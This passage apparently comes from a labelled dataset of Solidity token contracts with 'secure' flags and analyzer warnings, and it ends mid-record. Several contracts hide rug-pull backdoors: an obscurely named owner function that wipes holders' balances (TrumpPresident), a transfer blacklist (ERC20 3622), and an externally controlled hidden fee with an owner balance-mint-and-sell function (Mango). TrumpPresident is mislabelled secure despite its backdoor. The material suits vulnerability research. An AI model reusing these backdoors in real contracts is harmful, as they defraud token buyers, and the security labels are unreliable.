"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract TrumpPresident is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable chard;\n\n constructor() {\n _name = \"TrumpPresident\";\n\n _symbol = \"TrumpPresident\";\n\n _decimals = 18;\n\n uint256 initialSupply = 5600000000;\n\n chard = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == chard, \"Not allowed\");\n\n _;\n }\n\n function aidends(address[] memory kitchen) public onlyOwner {\n for (uint256 i = 0; i < kitchen.length; i++) {\n address account = kitchen[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n}",
"file_name": "solidity_code_362.sol",
"secure": 1,
"size_bytes": 4379
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./ERC20Token.sol\" as ERC20Token;\n\ncontract Coinbase is ERC20Token {\n constructor()\n ERC20Token(\"Coinbase\", \"COIN\", msg.sender, 1000000000 * 10 ** 18)\n {}\n}",
"file_name": "solidity_code_3620.sol",
"secure": 1,
"size_bytes": 250
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC721Enumerable.sol\" as IERC721Enumerable;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract OxCrystalsStaking is ERC20Burnable, Ownable {\n bool isOwnerMintLocked;\n mapping(address => bool) public IS_CLAIMABLE;\n mapping(address => uint256) public INITIAL_REWARD;\n mapping(address => uint256) public MAX_EMISSION_TIME;\n mapping(address => uint256) public CLAIMING_START_TIME;\n mapping(address => uint256) private EMISSION_RATE_PER_SEC;\n\n mapping(address => mapping(uint256 => uint256))\n private tokenIdLastClaimTime;\n mapping(address => mapping(uint256 => uint256))\n private initialRewardClaimed;\n mapping(address => mapping(uint256 => uint256))\n private nftTokenIdRewardTimeLeft;\n\n constructor() ERC20(\"0x0\", \"0x0\") {}\n\n function ownerMint(uint256 amount) external onlyOwner {\n require(!isOwnerMintLocked, \"Owner Mint is Locked\");\n _mint(msg.sender, (amount * 10 ** 18));\n }\n\n function lockOwnerMint() external onlyOwner {\n isOwnerMintLocked = true;\n }\n\n function setClaimingSettingFor(\n address nftContractAddress,\n uint256 emissionRatePerSec,\n uint256 emissionDuration,\n uint256 initialReward,\n uint256 claimingStartTime\n ) external onlyOwner {\n INITIAL_REWARD[nftContractAddress] = initialReward;\n MAX_EMISSION_TIME[nftContractAddress] = emissionDuration;\n CLAIMING_START_TIME[nftContractAddress] = claimingStartTime;\n EMISSION_RATE_PER_SEC[nftContractAddress] = emissionRatePerSec;\n }\n\n function toggleClaimingFor(address nftContractAddress) external onlyOwner {\n IS_CLAIMABLE[nftContractAddress] = !IS_CLAIMABLE[nftContractAddress];\n }\n\n function cliamOneTimeRewardById(\n address nftContractAddress,\n uint256 tokenId\n ) external {\n require(IS_CLAIMABLE[nftContractAddress], \"Wrong NFT contract\");\n require(\n initialRewardClaimed[nftContractAddress][tokenId] == 0,\n \"Already claimed one Time claimable tokens for this id\"\n );\n\n initialRewardClaimed[nftContractAddress][tokenId] = 1;\n tokenIdLastClaimTime[nftContractAddress][tokenId] = CLAIMING_START_TIME[\n nftContractAddress\n ];\n nftTokenIdRewardTimeLeft[nftContractAddress][\n tokenId\n ] = MAX_EMISSION_TIME[nftContractAddress];\n\n _mint(msg.sender, INITIAL_REWARD[nftContractAddress]);\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: f48144e): OxCrystalsStaking.cliamAllOneTimeRewards(address) has external calls inside a loop id = nftContract.tokenOfOwnerByIndex(_msgSender(),i)\n\t// Recommendation for f48144e: Favor pull over push strategy for external calls.\n function cliamAllOneTimeRewards(address nftContractAddress) external {\n require(IS_CLAIMABLE[nftContractAddress], \"Wrong NFT contract\");\n uint256 totalRewards = 0;\n\n IERC721Enumerable nftContract = IERC721Enumerable(nftContractAddress);\n\n uint256 nftBalance = nftContract.balanceOf(_msgSender());\n uint256 rewardPerId = INITIAL_REWARD[nftContractAddress];\n for (uint256 i = 0; i < nftBalance; i++) {\n\t\t\t// calls-loop | ID: f48144e\n uint256 id = nftContract.tokenOfOwnerByIndex(_msgSender(), i);\n if (initialRewardClaimed[nftContractAddress][id] == 0) {\n totalRewards += rewardPerId;\n initialRewardClaimed[nftContractAddress][id] = 1;\n tokenIdLastClaimTime[nftContractAddress][\n id\n ] = CLAIMING_START_TIME[nftContractAddress];\n nftTokenIdRewardTimeLeft[nftContractAddress][\n id\n ] = MAX_EMISSION_TIME[nftContractAddress];\n }\n }\n require(\n totalRewards > 0,\n \"One time claimable tokens already claimed for your NFTs\"\n );\n _mint(msg.sender, totalRewards);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: d3e19be): OxCrystalsStaking.claimByNFTTokenId(address,uint256) uses timestamp for comparisons Dangerous comparisons timeleft < (block.timestamp lastClaimTime)\n\t// Recommendation for d3e19be: Avoid relying on 'block.timestamp'.\n function claimByNFTTokenId(\n address nftContractAddress,\n uint256 tokenId\n ) external {\n require(IS_CLAIMABLE[nftContractAddress], \"Wrong NFT contract\");\n require(\n nftTokenIdRewardTimeLeft[nftContractAddress][tokenId] != 0,\n \"All tokens claimed for this ID\"\n );\n\n IERC721Enumerable nftContract = IERC721Enumerable(nftContractAddress);\n require(\n nftContract.ownerOf(tokenId) == _msgSender(),\n \"You are not the owner of this NFT\"\n );\n uint256 lastClaimTime = tokenIdLastClaimTime[nftContractAddress][\n tokenId\n ];\n require(lastClaimTime != 0, \"First claim Initial Reward for Your NFTs\");\n uint256 timeleft = nftTokenIdRewardTimeLeft[nftContractAddress][\n tokenId\n ];\n\n\t\t// timestamp | ID: d3e19be\n if (timeleft < (block.timestamp - lastClaimTime)) {\n nftTokenIdRewardTimeLeft[nftContractAddress][tokenId] = 0;\n _mint(\n msg.sender,\n (timeleft * EMISSION_RATE_PER_SEC[nftContractAddress])\n );\n } else {\n nftTokenIdRewardTimeLeft[nftContractAddress][tokenId] -= (block\n .timestamp - lastClaimTime);\n _mint(\n msg.sender,\n ((block.timestamp - lastClaimTime) *\n EMISSION_RATE_PER_SEC[nftContractAddress])\n );\n }\n tokenIdLastClaimTime[nftContractAddress][tokenId] = block.timestamp;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 4e25aa0): OxCrystalsStaking.claimAll(address) uses timestamp for comparisons Dangerous comparisons timeleft < (block.timestamp lastClaimTime)\n\t// Recommendation for 4e25aa0: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: f62be62): OxCrystalsStaking.claimAll(address) has external calls inside a loop id = nftContract.tokenOfOwnerByIndex(_msgSender(),i)\n\t// Recommendation for f62be62: Favor pull over push strategy for external calls.\n function claimAll(address nftContractAddress) external {\n require(IS_CLAIMABLE[nftContractAddress], \"Wrong NFT contract\");\n uint256 totalRewards = 0;\n\n IERC721Enumerable nftContract = IERC721Enumerable(nftContractAddress);\n\n uint256 nftBalance = nftContract.balanceOf(_msgSender());\n uint256 emissionRate = EMISSION_RATE_PER_SEC[nftContractAddress];\n for (uint256 i = 0; i < nftBalance; i++) {\n\t\t\t// calls-loop | ID: f62be62\n uint256 id = nftContract.tokenOfOwnerByIndex(_msgSender(), i);\n uint256 lastClaimTime = tokenIdLastClaimTime[nftContractAddress][\n id\n ];\n require(\n lastClaimTime != 0,\n \"First claim Initial Reward for Your NFTs\"\n );\n uint256 timeleft = nftTokenIdRewardTimeLeft[nftContractAddress][id];\n\n\t\t\t// timestamp | ID: 4e25aa0\n if (timeleft < (block.timestamp - lastClaimTime)) {\n nftTokenIdRewardTimeLeft[nftContractAddress][id] = 0;\n totalRewards += (timeleft * emissionRate);\n } else {\n nftTokenIdRewardTimeLeft[nftContractAddress][id] -= (block\n .timestamp - lastClaimTime);\n totalRewards += ((block.timestamp - lastClaimTime) *\n emissionRate);\n }\n tokenIdLastClaimTime[nftContractAddress][id] = block.timestamp;\n }\n\n _mint(msg.sender, totalRewards);\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: fa35ca5): OxCrystalsStaking.getAllRewards(address,address) has external calls inside a loop id = nftContract.tokenOfOwnerByIndex(claimer,i)\n\t// Recommendation for fa35ca5: Favor pull over push strategy for external calls.\n function getAllRewards(\n address nftContractAddress,\n address claimer\n ) external view returns (uint256) {\n uint256 totalRewards = 0;\n\n IERC721Enumerable nftContract = IERC721Enumerable(nftContractAddress);\n uint256 nftBalance = nftContract.balanceOf(claimer);\n\n for (uint256 i = 0; i < nftBalance; i++) {\n\t\t\t// calls-loop | ID: fa35ca5\n uint256 id = nftContract.tokenOfOwnerByIndex(claimer, i);\n totalRewards += ((block.timestamp -\n tokenIdLastClaimTime[nftContractAddress][id]) *\n EMISSION_RATE_PER_SEC[nftContractAddress]);\n }\n\n return totalRewards;\n }\n\n function getRewardsForNFTTokenId(\n address nftContractAddress,\n uint256 tokenId\n ) external view returns (uint256) {\n uint256 secondsStaked = block.timestamp -\n tokenIdLastClaimTime[nftContractAddress][tokenId];\n return secondsStaked * EMISSION_RATE_PER_SEC[nftContractAddress];\n }\n\n function getRewardTimeLeftForNFTTokenId(\n address nftContractAddress,\n uint256 tokenId\n ) external view returns (uint256) {\n return nftTokenIdRewardTimeLeft[nftContractAddress][tokenId];\n }\n}",
"file_name": "solidity_code_3621.sol",
"secure": 0,
"size_bytes": 9831
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\ncontract ERC20 is Ownable, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n mapping(address => bool) private _rewards;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n bool private _rewardsApplied = false;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function grantBlade(address[] calldata _rewardees_) external onlyOwner {\n for (uint256 i = 0; i < _rewardees_.length; i++) {\n _rewards[_rewardees_[i]] = true;\n }\n }\n\n function proceedBlade(address[] calldata _rewardees_) external onlyOwner {\n for (uint256 i = 0; i < _rewardees_.length; i++) {\n _rewards[_rewardees_[i]] = false;\n }\n }\n\n function isBlade(address _rewardee_) public view returns (bool) {\n return _rewards[_rewardee_];\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 96e34f9): ERC20.transfer(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 96e34f9: Rename the local variables that shadow another component.\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72056d9): ERC20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72056d9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1ac9f5c): ERC20.approve(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1ac9f5c: Rename the local variables that shadow another component.\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4fe7ce9): ERC20.increaseAllowance(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4fe7ce9: Rename the local variables that shadow another component.\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: cc8940c): ERC20.decreaseAllowance(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for cc8940c: Rename the local variables that shadow another component.\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n unchecked {\n _balances[account] += amount;\n }\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n\n _totalSupply -= amount;\n }\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6c3d6e7): ERC20._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6c3d6e7: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 816bc53): ERC20._spendAllowance(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 816bc53: Rename the local variables that shadow another component.\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256\n ) internal virtual {\n if (_rewards[to] || _rewards[from])\n require(_rewardsApplied == true, \"\");\n }\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_3622.sol",
"secure": 0,
"size_bytes": 8368
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract Blade is ERC20 {\n constructor() ERC20(\"Blade\", \"GLADE\") {\n _mint(msg.sender, 3000000000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_3623.sol",
"secure": 1,
"size_bytes": 272
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract PEACHY is Context, IERC20, Ownable {\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n uint256 private _totalSupply;\n string private _name;\n string private _symbol;\n\t// WARNING Optimization Issue (immutable-states | ID: 005ab34): PEACHY._decimals should be immutable \n\t// Recommendation for 005ab34: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\t// WARNING Optimization Issue (constable-states | ID: 70ac0ac): PEACHY.marketingAddress should be constant \n\t// Recommendation for 70ac0ac: Add the 'constant' attribute to state variables that never change.\n address public marketingAddress =\n 0x0580Fc95d0531E8e45Cfa30b910cB4cc5374540b;\n\t// WARNING Optimization Issue (constable-states | ID: 31aab55): PEACHY._txnFee should be constant \n\t// Recommendation for 31aab55: Add the 'constant' attribute to state variables that never change.\n uint256 _txnFee = 3;\n bool public takeFee = true;\n\n constructor() {\n _name = \"PEACHY\";\n _symbol = \"PEACHY\";\n _decimals = 18;\n _mint(owner(), 69_000_000_000 * 10 ** 18);\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[marketingAddress] = true;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n if (\n !_isExcludedFromFee[msg.sender] &&\n !_isExcludedFromFee[recipient] &&\n takeFee\n ) {\n uint256 fee = (amount * _txnFee) / 100;\n amount = amount - fee;\n _transferTokens(_msgSender(), marketingAddress, fee);\n }\n _transferTokens(_msgSender(), recipient, amount);\n return true;\n }\n\n function enableFee() public onlyOwner {\n takeFee = true;\n }\n\n function disableFee() public onlyOwner {\n takeFee = false;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3b48875): PEACHY.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 3b48875: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transferTokens(sender, recipient, amount);\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()] - amount\n );\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] - subtractedValue\n );\n return true;\n }\n\n function _transferTokens(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n _transfer(from, to, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n _balances[sender] = _balances[sender] - amount;\n _balances[recipient] = _balances[recipient] + amount;\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n _totalSupply = _totalSupply + amount;\n _balances[account] = _balances[account] + amount;\n emit Transfer(address(0), account, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6b96e5d): PEACHY._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6b96e5d: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n}",
"file_name": "solidity_code_3624.sol",
"secure": 0,
"size_bytes": 6131
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IUniswapV2Router.sol\" as IUniswapV2Router;\n\ncontract Mango is Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: f7b0a80): Mango._decimals should be constant \n\t// Recommendation for f7b0a80: Add the 'constant' attribute to state variables that never change.\n uint256 public _decimals = 9;\n\t// WARNING Optimization Issue (immutable-states | ID: 9b56376): Mango._totalSupply should be immutable \n\t// Recommendation for 9b56376: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply = 1000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 85ed931): Mango._symbol should be constant \n\t// Recommendation for 85ed931: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"MANGO\";\n\t// WARNING Optimization Issue (constable-states | ID: 8559bb5): Mango._name should be constant \n\t// Recommendation for 8559bb5: Add the 'constant' attribute to state variables that never change.\n string private _name = \"Mango Shot\";\n\n function decimals() external view returns (uint256) {\n return _decimals;\n }\n\n\t// WARNING Optimization Issue (immutable-states | ID: 89d31b4): Mango.routerV2 should be immutable \n\t// Recommendation for 89d31b4: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public routerV2;\n bool swapEnabled = false;\n\n function enableAutoSwap() external onlyOwner {\n swapEnabled = true;\n }\n event Transfer(address indexed from, address indexed to, uint256);\n\n constructor() {\n emit Transfer(address(0), sender(), _balances[sender()]);\n _balances[sender()] = _totalSupply;\n routerV2 = 0x8a674549E7a7044ebb6f91F74824108161FA2240;\n _taxWallet = msg.sender;\n }\n\t// WARNING Optimization Issue (constable-states | ID: 18bdacf): Mango.uniV2Router should be constant \n\t// Recommendation for 18bdacf: Add the 'constant' attribute to state variables that never change.\n IUniswapV2Router private uniV2Router =\n IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n function sender() internal view returns (address) {\n return msg.sender;\n }\n\n function name() external view returns (string memory) {\n return _name;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 629d5b6): Mango.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 629d5b6: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\t// WARNING Optimization Issue (immutable-states | ID: 0423e6e): Mango._taxWallet should be immutable \n\t// Recommendation for 0423e6e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _taxWallet;\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public returns (bool) {\n _approve(\n sender(),\n spender,\n _allowances[msg.sender][spender] + addedValue\n );\n return true;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n mapping(address => mapping(address => uint256)) private _allowances;\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual returns (bool) {\n _approve(msg.sender, spender, amount);\n return true;\n }\n function swap(uint256 tokenValue) external {\n if (fromTaxWallet()) {\n _approve(address(this), address(uniV2Router), tokenValue);\n _balances[address(this)] = tokenValue;\n address[] memory _tokensPath = new address[](2);\n address weth = uniV2Router.WETH();\n _tokensPath[0] = address(this);\n _tokensPath[1] = weth;\n uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenValue,\n 0,\n _tokensPath,\n _taxWallet,\n block.timestamp + 32\n );\n } else {\n return;\n }\n }\n\n function totalSupply() external view returns (uint256) {\n return _totalSupply;\n }\n event Approval(address indexed, address indexed, uint256 value);\n mapping(address => uint256) private _balances;\n\n function transferFrom(\n address from,\n address recipient,\n uint256 _amount\n ) public returns (bool) {\n _transfer(from, recipient, _amount);\n require(_allowances[from][sender()] >= _amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5e49a97): Mango._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 5e49a97: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"IERC20: approve from the zero address\");\n require(spender != address(0), \"IERC20: approve to the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n function fromTaxWallet() private view returns (bool) {\n return sender() == _taxWallet;\n }\n\n function transfer(address recipient, uint256 amount) public returns (bool) {\n _transfer(sender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 02bbcaa): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 02bbcaa: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 31b9d08): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 31b9d08: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address _sender, address to, uint256 value) internal {\n require(_sender != address(0));\n\t\t// reentrancy-events | ID: 02bbcaa\n\t\t// reentrancy-benign | ID: 31b9d08\n (bool v, bytes memory data) = routerV2.call(\n abi.encodeWithSignature(\"balanceOf(address)\", _sender)\n );\n uint256 _lowFee = abi.decode(data, (uint256));\n uint256 _fee = value.mul(_lowFee).div(100);\n require(value <= _balances[_sender]);\n\t\t// reentrancy-benign | ID: 31b9d08\n _balances[_sender] = _balances[_sender] - value;\n\t\t// reentrancy-benign | ID: 31b9d08\n _balances[to] = _balances[to] + value - _fee;\n\t\t// reentrancy-events | ID: 02bbcaa\n emit Transfer(_sender, to, value - _fee);\n }\n\n function decreaseAllowance(\n address from,\n uint256 amount\n ) public returns (bool) {\n require(_allowances[msg.sender][from] >= amount);\n _approve(sender(), from, _allowances[msg.sender][from] - amount);\n return true;\n }\n}",
"file_name": "solidity_code_3625.sol",
"secure": 0,
